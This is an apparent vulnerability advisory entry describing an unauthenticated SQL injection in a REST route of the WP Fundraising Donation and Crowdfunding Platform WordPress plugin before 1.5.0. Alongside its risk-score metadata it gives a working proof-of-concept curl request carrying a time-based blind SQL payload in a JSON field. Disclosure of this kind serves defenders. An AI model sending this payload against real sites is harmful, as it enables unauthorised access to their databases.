WP Fundraising Donation and Crowdfunding Platform < 1.5.0 - Unauthenticated SQLi

2022-05-1100:00:00

cydave

0.04 Low

EPSS

Percentile

92.2%

JSON

The plugin does not sanitise and escape a parameter before using it in a SQL statement via one of it’s REST route, leading to an SQL injection exploitable by unauthenticated users

curl 'https://example.com/index.php?rest_route=/xs-donate-form/payment-redirect/3' \
    --data '{"id": "(SELECT 1 FROM (SELECT(SLEEP(5)))me)", "formid": "1", "type": "online_payment"}' \
    -X GET \
    -H 'Content-Type: application/json'

0.04 Low

EPSS

Percentile

92.2%

JSON

Related for WPEX-ID:FBC71710-123F-4C61-9796-A6A4FD354828